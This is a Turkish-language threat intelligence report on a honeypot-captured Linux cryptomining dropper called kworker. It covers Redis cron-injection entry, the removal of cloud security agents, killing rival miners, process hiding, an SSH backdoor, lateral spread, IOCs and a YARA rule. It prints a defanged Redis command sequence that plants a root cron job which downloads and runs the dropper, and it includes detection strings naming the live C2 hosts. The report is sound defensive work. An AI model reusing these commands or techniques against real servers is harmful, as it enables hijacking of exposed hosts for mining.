malware · cryptomining · redis · linux · honeypot · monero · 8220-gang · xmrig · worm

Kworker: kendi kaldırıcısını yanında getiren kripto madenci

Kinryū Labs, 8220 soyundan gelen bir kripto madencinin açık ve parolasız bir Redis portunu yaklaşık beş saniyede bir root kabuğuna çevirdiğini yakaladı. kworker adlı 636 satırlık bir kabuk betiği olan damlalık (dropper), Alibaba ve Tencent'in bulut güvenlik aracılarını üreticilerin kendi araçlarıyla kaldırıyor, 200 satırı rakip madencileri öldürmeye harcıyor, SSH'ye arka kapı açıyor, bir XMRig Monero madencisini sahte ps, top ve pstree arkasına saklıyor ve daha ileri yayılmaya çalışıyor.

Yazan Davis Zheng·

TLP:CLEAR. Yayım için onaylandı. Kinryū Labs bal küpü (honeypot) sensör ağı tarafından 10 Haziran 2026’da yakalandı. Yalnızca statik ve pasif analiz: damlalık hiç çalıştırılmadı ve saldırgan altyapısıyla hiçbir temas kurulmadı. Aşağıdaki göstergeler etkisizleştirilmiştir (defanged); YARA kuralı, tespit için tasarımı gereği canlı dizeleri taşır. Aşama 2 madenci ikili dosyasını ve Monero cüzdanını kurtaramadık.

Yönetici özeti

  • ~5snaçık Redis portundan dört root cron arka kapısına
  • 636satır bash, eksiksiz bir ana makine ele geçirme kiti
  • 2içinde base64 kodlu taşınan üretici kaldırıcısı
  • 80+öldürme listesindeki rakip madenci

UTC gece yarısını altı dakika geçe, bir şey bal küplerimizden birinin Redis portuna bir bağlantı açtı, neyle konuştuğunu görmek için tek bir INFO çalıştırdı ve kapattı. İki saniye sonra geri geldi ve işe koyuldu. Bağlantıyı kestiğinde, toplam beş saniyede, sunucunun cron tablosunu dört farklı şekilde yeniden yazmış ve her birini aynı dosyaya yöneltmişti: kworker adlı bir kabuk betiği.

Çalışmasına asla izin vermedik. Bal küpü yükü yakalar, özetini (hash) alır ve bir kenara koyar; makinenin kendisi temiz kalır. Dolayısıyla elimizde kalan, betiğin tamamı, 636 satırın hepsi ve içeri girişin eksiksiz bir kaydı. Birlikte okunduğunda, 2026’da sıradan Linux kripto madenciliğinin geldiği noktanın temiz bir kesitini oluşturuyorlar ve kworker iyi bir örnek, çünkü bu türün şimdiye dek icat ettiği hemen her şeyi yapıyor. Ayrıca bir şeyi son derece ciddi bir yüzle yapıyor: antivirüsünüzü, antivirüs üreticisinin kendi kaldırıcısını kullanarak kaldırıyor.

Temel değerlendirmeler

  • 8220 Gang / kworkerds soyundan, fırsatçı ve hedefsiz sıradan kripto madenciliği (orta güven). Redis ile teslim, yeniden adlandırılmış indirme araçları, /etc/javae kilit dosyası ve devasa öldürme listesi, hepsi bu ailenin işaretleridir. Orta düzeyde kalıyoruz, daha yukarı çıkmıyoruz, çünkü bu, ekiplerin birbirine devrettiği ve yeniden sattığı, geniş çapta çatallanmış (forked) bir koddur; dolayısıyla ad, tek bir yazara değil bir soya işaret eder.
  • Amaç Monero madenciliği (yüksek güven). Betiğin tüm amacı, önce onun için huge pages’i etkinleştirip ardından bir XMRig derlemesi olan javae’yi getirip başlatmaktır. Geri kalan her şey, sahayı temizlemek ve ana makineyi elde tutmak için vardır.
  • Olgun, çok kullanılmış bir yazılım, birinin hafta sonu projesi değil (yüksek güven). İçeri girişin kendi cron satırları, yalnızca kworker kurulduktan sonra var olan cd1 ve wd1 araçlarını çağırır. Kit kendini şimdiden varsayar ki bu, bir süredir dolaşımda olan bir kodun işaretidir.
  • Eksik cüzdan kasıtlıdır (yüksek güven). Betikte ne bir Monero adresi ne de bir havuz vardır; ikisi de kurtaramadığımız madenci ikili dosyasında yaşar. Bu ekibin kampanyalarını birbirine bağlayacak tek ayrıntı, tam da betikten uzak tuttukları şeydir; RedTail’de çarptığımız aynı duvar.

FLUSHALL, ardından cron’a dört yol

Parolasız olarak internete açık bırakılan Redis, yıllardır tek satırlık bir root kabuğu olmuştur ve buradaki teknik o eski güvenilir yöntemdir. Değeri bir cron işi olan bir veritabanı anahtarı ayarla. Redis’e veritabanını cron klasörüne kaydetmesini söyle. SAVE çağır. Redis veritabanını diske yazar, sahte cron işiniz de dahil, ve bir dakika sonra cron onu root olarak çalıştırır. Ziyaretçimiz sunucunun parmak izini aldı, bir dosya yazabileceğini doğruladı, başarısız bir kaydetmeyi durduran güvenlik önlemini kapattı ve numarayı çalıştırdı.

# ziyaretçinin Redis'e gönderdiği (kısaltılmış, etkisizleştirilmiş)
SET backup1 "*/2 * * * * cd1 -fsSL hxxps://download.logltech[.]workers[.]dev/up/down/api/kworker | sh"
CONFIG SET dir /var/spool/cron/
CONFIG SET dbfilename root
SAVE

Tüm sızma birkaç saniyeye sığar:

  • 00:06:00 UTCBağlan, sunucunun parmak izini almak için tek bir INFO gönder, bağlantıyı kes.
  • +2 saniyeYeniden bağlan. Her biri bir cron satırı tutan dört anahtar ayarla. cron klasörüne CONFIG SET dir, hedef cron dosyasına CONFIG SET dbfilename, stop-writes-on-bgsave-error'ı devre dışı bırak, ardından SAVE.
  • +toplam 5 saniyeBağlantıyı kes. Bal küpünde tüm yük ve tüm kayıt var; makine temiz kalır.
  • +1 dakikaGerçek bir ana makinede cron, ekilen satırı root olarak çalıştırır ve kworker'ı çeker.

Yavaşlamaya değer olan şey, fazlalıktır. Bir cron işi yazmadı; aynı talimatı dört yere yazdı: /var/spool/cron/root, /var/spool/cron/crontabs, /etc/cron.d/javae ve /etc/crontab, hem Red Hat hem de Debian düzenini ve her iki cron sözdizimini kapsayarak. Her satır kworker’ı farklı bir araçla çekti: cd1, wget, curl, wd1, iki, üç, dört, beş dakikalık kademeli bir zamanlamayla. O adlardan ikisi gerçek program değil. cd1 ve wd1, kworker kurulduktan sonra curl ve wget’i yeniden adlandırdığı adlardır. İçeri giriş, indirmek üzere olduğu betiği şimdiden varsayar. Kitin tamamı içsel olarak tutarlıdır ve bunun olgun, çok kullanılmış bir yazılım olduğunu, birinin hafta sonu projesi olmadığını böyle anlarsınız.

Kendi kaldırıcını getir

Root’u elde eder etmez, kworker binayı sökmeye başlar. Güvenlik duvarı temizlenir, ufw kapatılır, SELinux permissive’e indirilir ve ardından yapılandırmasında devre dışı bırakılır, AppArmor durdurulur, çekirdeğin NMI watchdog’u kapatılır; bu önemlidir çünkü bir madenci CPU’yu haftalarca yüzde yüzde tutar ve watchdog, bunu fark edebilecek birkaç şeyden biridir. /var/log/syslog tümden silinir.

Sonra bulut güvenlik aracılarını aramaya gider ve burada betik sıradan olmayı bırakır. Büyük Çinli bulut sağlayıcıları sanal makinelerine bir ana makine aracısı koyar: AliYunDun olarak çalıştığını göreceğiniz Alibaba’nın Aegis’i; Tencent’in YunJing’i; Huawei’nin HostGuard’ı. kworker her birini kontrol eder. Alibaba’nınkini bulduğunda, sadece süreci öldürmez. Alibaba’nın resmi kaldırıcısını çalıştırır ve bunun Alibaba’ya geri dönüş yolu olmayan bir makinede bile işlemesi için, Alibaba’nın iki kaldırma betiğini base64 ile kodlanmış olarak kendi içinde taşır. İkisini de kodu çözdük. Gerçeğin ta kendisi, kprobe izleme sökümü dahil.

Uç nokta korumanızı, üreticinin amaçladığı gibi temiz bir şekilde kaldırır ve günlükleri derli toplu bırakır.

Bu doğaçlama değil. Birisi gerçek bir Aliyun makinesinin başına oturdu, kaldırıcıları aldı ve onları içine yerleştirdi.

Bash ile yazılmış bir nüfuz savaşı

Bu betiklerden birini hiç okumadıysanız, sizi şaşırtan şey, ne kadarının diğer suçlulara yönelik olduğudur. Bir madencinin gerçek düşmanı, aynı CPU’yu kiralamaya çalışan bir sonraki madencidir, sistem yöneticisi değil. kworker, kabaca iki yüz satırı rakipleri avlamaya harcar ve tutabileceği her tutamaçtan öldürür.

  • Süreç adına göre, yüzden fazla girdilik bir engelleme listesinden: xmrig, kinsing, kdevtmpfsi, watchdogs ve watchbog ailesi, ddg, sustes ve kendi adının türediği daha eski kworkerds.
  • Porta göre, madencilik havuzlarının ve IRC botlarının oturduğu portlar.
  • Sabit kodlanmış IP adresine göre.
  • CPU’ya göre, kör alet: tanımadığı bir ad altında işlemcinin yüzde 40’ından fazlasını yakan ne varsa öldürülür; mantık şu ki CPU’yu yiyen bilinmeyen bir süreç, tanımı gereği rakip bir madencidir.

Dosyalarını /tmp ve /dev/shm’den siler, cron işlerini söker, bazılarının kurduğu preload rootkit’lerini kaldırır ve bilinen madencilik imajlarını öldürüp silmek için Docker’a uzanır. Bu, RedTail’in clean betiğinde ve Rootpacket’in killservice.sh’sinde belgelediğimiz aynı toprak kapmadır; bu ekiplerin hepsi aynı yanlış yapılandırılmış makineler için kavga eder ve hepsi sahayı bir süpürmeyle açar.

Ayrıca, özellikle ve tekrar tekrar, TeamTNT’ye karşı kabadır: TeamTNT’nin yaptığı curl ve wget yeniden adlandırmalarını geri alır ve dizinlerini siler. Kinsing’i öldürdüğü yerde dosyanın üzerine fuckyou kelimesini yazar ve Kinsing kendini geri koyamasın diye kilitler. Burada onur yoktur, yalnızca bir toprak kapma vardır ve kworker bunu çoğundan daha sert oynar.

Listeyi dikkatle okuyun, rekabetin nasıl saklandığının bir kataloğuna dönüşür. Bir hedef kümesi çekirdek iş parçacığı gibi poz verir, kacpi_svc, kswap_svc, kthreadd_svc, ksoftirqd_svc; bir diğeri sistem arka plan süreci gibi poz verir, polkitd, acpid, dbus-daemon--system ve L olması gereken yerde büyük I olan systemctI. kworker, rakiplerinin giydiği tam o kılıkları avlar; bunlar, birkaç satır sonra javae’yi systemd-network ve irqbalanced gibi adlar arasında sakladığında kendisinin uzandığı aynı kılıklardır. Bu kavgadaki herkes sıkıcı sistem gürültüsü gibi giyinmiştir ve herkes diğerlerinin kostümünü ezberlemiştir.

Birkaç hedef hiç ad değildir. Biri L2Jpbi9iYXN, bir /bin/bash komutunun başlangıç base64’üdür. kworker, süreç tablosunda bu kodlanmış öneki grep’ler ve bir rakibin yükleyicisini komut satırında oturan base64 blobundan yakalar.

Liste bir hayli uzun, öldürmek istediğiniz bir süreci adlandırmanın yüzden fazla yolu, ve bu husumetin dokusu için bir kez göz atmaya değer:

Yakalanan betikten çıkarılan tam öldürme listesi

kill_miner_proc, kill_sus_proc ve Docker süpürmesinden alındı. Buradaki her şey kworker’ın avladığı bir hedeftir, kendi altyapısı değil. IP’ler etkisizleştirilmiştir.

Üzerinde her işlemi öldürdüğü portlar (madencilik havuzları, IRC botları, RAT’ler, alternatif SSH ve Telnet): 23, 143, 2222, 3333, 3347, 3389, 5555, 6665, 6666, 6667, 7777, 8444, 10008, 13531.

Tanınabilir madenci ve botnet aileleri: xmrig, xmrig-cpu, xmrig-notls, xmr-stak, mstxmr, cnrig, minerd, minergate, cryptonight, crypto-pool, moneroocean, kinsing, kdevtmpfsi, kworkerds, kworker34, watchdogs, watchd0g, watchbog, ddg, ddg.2011, sustes, sustse, sustse3, kthrotlds, ksoftirqds, tntrecht (TeamTNT), nanoWatch, sourplum, disk_genius, biosetjenkins, nullcrew.

Çekirdek iş parçacığı gibi gizlenen rakipler: kacpi_svc, kswap_svc, kauditd_svc, kpsmoused_svc, kseriod_svc, kthreadd_svc, ksoftirqd_svc, kintegrityd_svc, kblockd_svc, native_svc.

Sistem arka plan süreçleri gibi gizlenen rakipler: polkitd, acpid, dbus-daemon--system, irqbalance, irqbalanc1, crond64, nginxk, vmlinuz, systemctI (büyük i, systemctl değil), systemten, systemxlv, svcupdate, netdns, netns, redis2, rsync, httpgd, haveged, voltuned, nqscheduler.

Diğer adlandırılmış yükler, betikler ve kampanya işaretleri: apaceha, apachiii, mixnerdx, mixtape, performedl, conns, mgwsl, pythno, jweri, lx26, i586, gddr, askdljlqw, ysaydh, bonns, donns, kxjd, nopxi, deamon, zigw, devtool, devtools, suppoie, exin, xr, jawa, ynn, servim, darwin, sysstats, Loopback, XJnRj, NXLAi, BI5zj, icb5o, wnTKYg, 2t3ik, qW3xT.2, hahwNEdB, CnzFVPLF, CvKzzZLs, OIcJi1m, IOFoqIgyC0zmf2UR, 65ccEJ7, jmxx, 2Ne80nA, C4iLM4L, Guard.sh, Duck.sh, bonn.sh, conn.sh, kw.sh, pro.sh, mr.sh, 2mr.sh, cr5.sh, he.sh, miner.sh, l.sh, z3.sh, lower.sh, ndt.sh, logo9.jpg, oracle.jpg, init10.cfg, init12.cfg, j2.conf, zer0day.ru, gitee.com.

Şaşırtmalı başlatıcılar ve bırakılan yapılandırmalar: ./ppp, ./vsp, ./jvs, ./pvv, ./vpp, ./pces, ./rspce, ./jiba, ./haveged, ./watchbog, ./servceaess ve yanlış yazılmış ikizleri, mwyumwdbpq.conf, honvbsasbf.conf, mqdsflm.cf, /wl.conf, wc.confz, artı base64 beşik işareti L2Jpbi9iYXN (/bin/bas... tek satırlığının başlangıcı).

Gördüğü an ateş ettiği rakip havuz ve C2 IP’leri: 45.76.122[.]92, 51.38.191[.]178, 51.15.56[.]161, 104.248.4[.]162, 89.35.39[.]78, 107.174.47[.]156, 107.174.47[.]181, 83.220.169[.]247, 51.38.203[.]146, 144.217.45[.]45, 176.31.6[.]16, 46.243.253[.]15, 200.68.17[.]196, 188.209.49[.]54, 181.214.87[.]241, 121.42.151[.]137.

Öldürüp sildiği Docker imajları ve konteynerleri: pocosow, gakeaws, azulu, auto, xmr, mine, slowhttp, bash.shell adlı konteynerler; pocosow, gakeaws, buster-slim, hello-, azulu, registry, xmr, monero, mine, slowhttp imaj referansları.

Ve kör alet: javae ile eşleşmeyen ve CPU’nun yüzde 40’ını aşan ne varsa öldürülür; adı köşeli parantezli bir çekirdek iş parçacığı gibi görünüp yüzde 10’u aşan her şey, /tmp’den çalışan her şey ve şüpheli derecede uzun adı olan her süreç de öyle.

Şimdi onu görmüyorsun

Sahayı temizledikten sonra kendi oyuncusunu saklar. ps, top ve pstree’yi, gerçek ikili dosyaları çağıran ve madenciyi (javae) ya da yanında getirdiği tarayıcıyı (pnscan) anan her satırı sessizce ayıklayan iki satırlık sarmalayıcılarla değiştirir, ardından sahtelerin tarihini yeni görünmesinler diye 2016’ya geri atar. Enfekte bir makinede ps çalıştırın ve madenci listede yoktur, hepsi bu.

Madenci zaten bir süreç tablosunda gözden kaybolacak şekilde adlandırılmıştır: javae, systemd-network, irqbalanced ve kswaped gibi adlarla ekilen kilit dosyalarının yanında oturur; her biri sıkıcı sistem gürültüsü gibi okunmak için seçilmiştir.

Bir anahtar ve komşulara giden bir yol

İki hamle daha ele geçirmeyi tamamlar.

Yorumu sadece uc1 olan operatörün SSH genel anahtarını root’un authorized_keys’ine yazar ve dosyayı değişmez (immutable) yapar; öyle ki fark etmek yeterli değildir; silmeden önce bile değişmezlik bitini temizlemeniz gerekir. Bu, madenci temizlendikten sonra da süren, elle erişimdir.

Sonra yayılmaya çalışır. root’un known_hosts’unu, bu makinenin oturum açtığı her makinenin listesini, okur ve diskte zaten duran anahtarları kullanarak her birine SSH ile bağlanmayı dener; içeri bıraktığı her şeyde, kworker’ı yedek adresten çeken ve tüm hikâyeyi yeniden başlatan bir tek satırlık çalıştırır. Hızlı bir solucan değildir ve etrafta bırakılan parolasız anahtarlara yaslanır, ama bunların genelde bırakıldığı türden bir makine filosunda, bu yeter de artar.

Madenci ve elde edemediğimiz cüzdan

Bütün o makineye rağmen, asıl kazandıran sıkıcıdır: ikinci bir dosya, javae, Monero madenciliği yapan bir XMRig derlemesi. kworker huge pages’i açar (vm.nr_hugepages 128’e ayarlanır, standart bir XMRig hızlandırması), javae’yi /etc’e bırakır ve çalıştırır.

Bu raporun boşluğu burada. Elimizde javae yok ve cüzdan yok. Betikte ne bir Monero adresi ne de bir havuz var; bunlar çalışma zamanında getirilen madenci ikili dosyasına gömülüdür ve C2, bu örneğe bakan herhangi bir genel kum havuzuna (sandbox) onu sunmadı, dolayısıyla pasif olarak sökecek bir şey yok. kworker’ı tek başına analiz eden herkes aynı duvara çarpar. Cüzdan, bu ekibin kampanyalarını birbirine bağlayacak tek şeydir ve tam da betikten uzak tuttukları şeydir.

Bilerek Cloudflare’de barındırıldı

Hem betik hem de madenci bir Cloudflare Workers adresi olan download.logltech[.]workers[.]dev’den gelir ve bu kasıtlı bir seçimdir. Workers ücretsizdir, varsayılan olarak HTTPS’tir, Cloudflare’in itibarını ödünç alır ki böylece alan adı engelleme listelerini sıyırıp geçer ve operatörün gerçekte kontrol ettiği kaynağı (origin) gizler. Bal küpümüz gerçek bir sunucu hiç görmedi; hep yalnızca Cloudflare gördü.

Solucanın kullandığı yedek kanal, şubat sonunda kaydedilen tutorial.clashverge[.]space’tir. Betikte sabit kodlanmış diğer her IP adresi, öldürmek istediği bir rakibe aittir; Vultr, OVH ve DigitalOcean makineleri ile Hangzhou’daki bir Alibaba Cloud ana makinesine dağılmıştır, bu operatöre hiç değil. Sabit kodlanmış IP’leri altyapı olarak değil, bir hedef listesi olarak okuyun.

Kimin bu?

Dikkatlice, o zaman. Bu, genellikle 8220 Gang ya da kworkerds altında dosyalanan soydan gelen sıradan kripto madenciliğidir. İşaretler hep mevcut: Redis cron enjeksiyonu teslimi, curl-cd1 yeniden adlandırması, /etc/javae kilit dosyası, pnscan yayıcısı, devasa öldürme listesi. Antivirüs motorları bir ad üzerinde anlaşamıyor, ki asıl mesele de bu. ClamAV ona Rocke der, Rising TeamTNT olarak etiketler, gerisi sadece CoinMiner der. Bu betikler yarım düzine ekip arasında kopyalanır, birleştirilir ve yeniden satılır ve kworker, akraba olduğu ailelerden birkaçını öldürür.

Pratik kural

Aileyi bir parmak izi değil, bir mahalle olarak görün.

Çinli bulut aracılarına odaklanma ve VirusTotal’ın aynı örneğe bağladığı bir Windows PowerShell kardeşi tabloyu tamamlar, ama güvenli ifade mütevazı olanıdır. Geniş çapta çatallanmış, mali amaçlı, hedefsiz ve yeni değil. Orta güven ve orada rahat.

İhlal göstergeleri

GöstergeBağlam
download.logltech[.]workers[.]devC2 (birincil), Cloudflare Workers. /up/down/api/{kworker, javae, cb.txt} sunar
tutorial.clashverge[.]spaceC2 (yedek), solucan tarafından kullanılır. 27 Şub. 2026’da kaydedildi
170.9.225[.]197Redis bal küpüne vuran kaynak IP
*.workers.dev ana makinesi + /up/down/api/ altında GETHatta yakından bakmaya değer yük çekme deseni

Dosyalar (SHA-256 / MD5)

DosyaSHA-256MD5
kworker (damlalık)7420e819e6cf6d7608e475468ae0160185fe7eed0b5b4129aad3e8dabc776e30501ec2da3039ebe4ca379f663232176a
javae (XMRig madenci)kurtarılamadı, beklenen 5.685.096 bayt

SSH arka kapı anahtarı: yorum uc1, genel anahtar parmak izi SHA256:VG0G5YwuzVAQW5JrC9RukA6Pynj3AwnFhWPCKp6TfVY. Tüm makine envanterinde authorized_keys içinde onu avlayın.

Ana makine kalıntıları

YolBağlam
/etc/kworker, /etc/javae, /etc/cron.d/javae, /tmp/{kworker,javae}Bırakılan dosyalar
/usr/bin/cd1 (eskiden curl), /usr/bin/wd1 (eskiden wget)Yeniden adlandırılmış indirme araçları
/bin/ps.original, /bin/top.original, /bin/pstree.originalTruva atına dönüştürülmüş sarmalayıcıların arkasında saklanan gerçek ikili dosyalar
/usr/bin/{kswaped, pamdicks, ip6network, irqbalanced, rctlcli, systemd-network}Değişmez, tek haneli adlı kilit dosyaları
vm.nr_hugepages = 128XMRig için etkinleştirilmiş huge pages

Davranışsal

  • Aslında grep -v üzerinden boru hattı kuran bir kabuk betiği olan ps, top ya da pstree.
  • Yazmadığınız ve uc1 yorumuyla biten bir authorized_keys.
  • sh /etc/kworker ya da sh /tmp/kworker çalıştıran cron işleri ve olmaması gereken bir /etc/cron.d/javae.
  • /usr/bin/kswaped ve arkadaşlarındaki değişmez, tek haneli adlı dosyalar.
  • cd1 ve wd1 olarak yeniden adlandırılmış bir curl ve wget.
  • Sessizce 128’e ayarlanmış vm.nr_hugepages.

Tespit

Ana makine tarafındaki ipuçları, bir kez öğrendiğinizde gürültülüdür ve yukarıda listelenmiştir. Hatta, bir *.workers.dev ana makinesini çözen ve /up/down/api/ altındaki yolları isteyen her şey yakından bakmayı hak eder. İşte kararlı dizelerde tetiklenen bir YARA kuralı. Canlı dizeleri tespit için bilerek taşır.

rule kworker_cryptojacker_sh
{
    meta:
        description = "Linux kworker/javae cryptojacking installer (Redis XMRig dropper)"
        author      = "Kinryu Labs honeypot CTI"
        reference   = "7420e819...776e30"  // full SHA-256 in the IOC table
        tlp         = "CLEAR"

    strings:
        $c2_1  = "download.logltech.workers.dev" ascii
        $c2_2  = "tutorial.clashverge.space" ascii
        $api   = "/up/down/api/kworker" ascii
        $lock  = "/etc/javae" ascii
        $miner = "miner_size=\"5685096\"" ascii
        $ren1  = "mv /usr/bin/curl /usr/bin/cd1" ascii
        $ren2  = "mv /usr/bin/wget /usr/bin/wd1" ascii
        $bin1  = "/usr/bin/pamdicks" ascii
        $bin2  = "/usr/bin/kswaped" ascii
        $bin3  = "/usr/bin/rctlcli" ascii
        $fn1   = "kill_miner_proc" ascii
        $fn2   = "download_file_if_needed" ascii
        $hide  = "javae\\|pnscan" ascii
        $ssh   = "9p8zIVKLUHMUNC9mKqPljzxH" ascii  // fragment of the uc1 key

    condition:
        filesize < 256KB and (
            $ssh or any of ($c2_1, $c2_2) or
            ($api and $lock) or
            ($miner and 1 of ($ren1, $ren2)) or
            (2 of ($bin1, $bin2, $bin3) and 1 of ($fn1, $fn2, $hide))
        )
}

Bunun neyi değiştirmesi gerektiği

Bunların hiçbiri karmaşık değil ve ders bu. kworker, bir Redis portu parolasız açık olduğu için içeri girdi; 2026’da hâlâ getiri sağlayan 2018’den kalma bir hata. Sonrasındaki her şey, EDR’nin kaldırılması, rootkit ve solucan, yalnızca ön kapı kilitsiz olduğu için önemliydi.

  • Redis’i, ya da herhangi bir veri deposunu, internete açmayın ve kimlik doğrulama gerektirsin. Açık bir hizmeti, tek bir hizmetin değil, tüm ana makinenin ihlali olarak görün.
  • cron ve authorized_keys’i üretim kodu gibi izleyin, çünkü bir saldırgan için tam olarak öyledirler.
  • Makinedeki bulut aracısını bir güvenlik ağı olarak görmeyin. kworker’ın ilk içgüdüsü, üreticinin kendi araçlarıyla, nazikçe, yanına gidip onu kaldırmaktı.

MITRE ATT&CK eşlemesi

TaktikTeknik
Initial AccessT1190 Exploit Public-Facing Application (Redis)
ExecutionT1059.004 Unix Shell
PersistenceT1053.003 Cron; T1098.004 SSH Authorized Keys
Defense EvasionT1562.001 Impair Defenses: Disable or Modify Tools (bulut aracısı ve EDR kaldırma); T1562.004 Disable or Modify System Firewall; T1070.002 Clear Linux or Mac System Logs; T1014 Rootkit (truva atına dönüştürülmüş ps/top/pstree); T1036.005 Masquerading: Match Legitimate Name; T1222.002 Linux File and Directory Permissions Modification (chattr +i); T1070.006 Timestomp (tarihi geri atılmış sahteler)
DiscoveryT1057 Process Discovery (rakip avı); T1518.001 Security Software Discovery (bulut aracıları); T1046 Network Service Scanning (pnscan)
Lateral MovementT1021.004 Remote Services: SSH; T1570 Lateral Tool Transfer
Command and ControlT1071.001 Web Protocols; T1102 Web Service (Cloudflare Workers); T1105 Ingress Tool Transfer
ImpactT1496 Resource Hijacking (Monero madenciliği)

Metodoloji ve analist notları

  • Analiz statik ve pasifti. Damlalık hiç çalıştırılmadı ve saldırgan altyapısıyla hiçbir temas kurulmadı. Bulgular, yakalanan 636 satırlık betiğin tamamını okumaktan, gömülü base64 kaldırıcıların kodunu çözmekten ve kaydedilen Redis oturumunu incelemekten gelir.
  • Yukarıdaki göstergeler etkisizleştirilmiştir. YARA kuralı, tespit için canlı dizeleri bilerek içerir.
  • Aşama 2 madencisi (javae) ya da Monero cüzdanı elimizde yok. Betik ikisini de taşımaz; ikisi de çalışma zamanında getirilen ve C2’nin genel kum havuzlarına sunmadığı madenci ikili dosyasında yaşar. Cüzdanı kurtarmak, ağ yakalamalı canlı bir patlatma gerektirirdi ki bunu yapmadık.
  • Örnekler (damlalık ve kodu çözülmüş kaldırıcılar) diğer araştırmacılara ve savunuculara talep üzerine sunulur. Kim olduğunuza ve ne için gerektiğine dair kısa bir notla [email protected] adresine yazın.
How to cite
Kinryū Labs (2026). Kworker: kendi kaldırıcısını yanında getiren kripto madenci. https://kinryu.sh/tr/reports/kworker-redis-cryptojacking-dropper/